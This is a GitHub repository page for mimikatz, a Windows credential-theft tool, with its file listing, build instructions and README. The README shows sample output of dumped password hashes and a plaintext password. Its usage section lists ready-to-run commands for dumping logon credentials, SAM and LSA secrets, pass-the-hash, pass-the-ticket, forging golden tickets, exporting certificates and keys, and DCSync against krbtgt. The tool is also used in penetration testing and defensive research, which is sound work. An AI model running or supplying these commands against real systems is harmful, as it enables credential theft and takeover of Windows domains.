gentilkiwi Merge pull request #439 from chunhu... 0c611b1 · last year 347 Commits

inc	Updated LsaSrvReferences and LsaIniti...	last year
lib	[new] mimikatz misc::shadowcopies (to ...	3 years ago
mimidrv	[clean] version, copyright & project	3 years ago
mimikatz	[change] Convert pointer to DWORD_P...	last year
mimilib	[clean] version, copyright & project	3 years ago
mimilove	[clean] version, copyright & project	3 years ago
mimispool	Update README.md	3 years ago
modules	[legacy] Backport djoin parser & citrix S...	2 years ago
README.md	[new] AppVeyor Continuous Integratio...	4 years ago
appveyor.yml	Update appveyor.yml	last year
kiwi_passwords.yar	[new] mimikatz lsadump::postzerologo...	4 years ago
mimicom.idl	Token & code enhancements	7 years ago
mimikatz.sln	[fix] mimikatz misc::printnightmare with...	3 years ago
notrunk.lst	[new] AppVeyor Continuous Integration	4 years ago
trunk.lst	[new] AppVeyor Continuous Integration	4 years ago

README

mimikatz

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. **mimikatz** can also perform pass-the-hash, pass-the-ticket or build *Golden tickets*.

```
  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 201
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo
  '#####'                                  with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
```

About

A little tool to play with Windows security

blog.gentilkiwi.com/mimikatz

Readme
Activity
19.4k stars
916 watching
3.7k forks

Report repository

Releases 11

2.2.0 20220919 Djoin parser & Ci... Latest
on Sep 19, 2022

+ 10 releases

Packages

No packages published

Contributors 8

Languages

C 100.0%

```
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...
```

But that's not all! `Crypto`, `Terminal Server`, `Events`, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, *yes*).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

Quick usage

```
log
privilege::debug
```

sekurlsa

```
sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d48
```

kerberos

```
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:
```

crypto

```
crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MA

crypto::keys /export
crypto::keys /machine /export
```

vault & lsadump

```
vault::cred
vault::list

token::elevate
vault::cred
```

```
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local
```

Build

`mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

- for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (**2013 Express for Desktop is free and supports x86 & x64** - http://www.microsoft.com/download/details.aspx?id=44914)
- *for* `mimikatz driver` , `mimilove` *(and* `ddk2003` *platform) : Windows Driver Kit* ***7.1*** *(WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800*

`mimikatz` uses `SVN` for source control, but is now available with `GIT` too! You can use any tools you want to sync, even incorporated `GIT` in Visual Studio 2013 =)

Synchronize!

- GIT URL is : https://github.com/gentilkiwi/mimikatz.git
- SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
- ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip

Build the solution

- After opening the solution, `Build` / `Build Solution` (you can change architecture)
- `mimikatz` is now built and ready to be used! (`Win32` / `x64` even `ARM64` if you're lucky)
  - you can have error `MSB3073` about `_build_.cmd` and `mimidrv` , it's because the driver cannot be build without Windows Driver Kit **7.1** (WinDDK), but `mimikatz` and `mimilib` are OK.

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default `msvcrt` runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio **2010** are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

- https://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
- *https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader*

Continuous Integration

`mimikatz` project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz

Its status is: build passing

Licence

CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

`mimikatz` needs coffee to be developed:

- PayPal: https://www.paypal.me/delpy/

Author

- Benjamin DELPY `gentilkiwi`, you can contact me on Twitter (@gentilkiwi) or by mail (benjamin [at] gentilkiwi.com)
- DCSync and DCShadow functions in `lsadump` module were co-writed with Vincent LE TOUX, you can contact him by mail (vincent.letoux [at] gmail.com) or visit his website (http://www.mysmartlogon.com)

This is a **personal** development, please respect its philosophy and don't use it for bad things!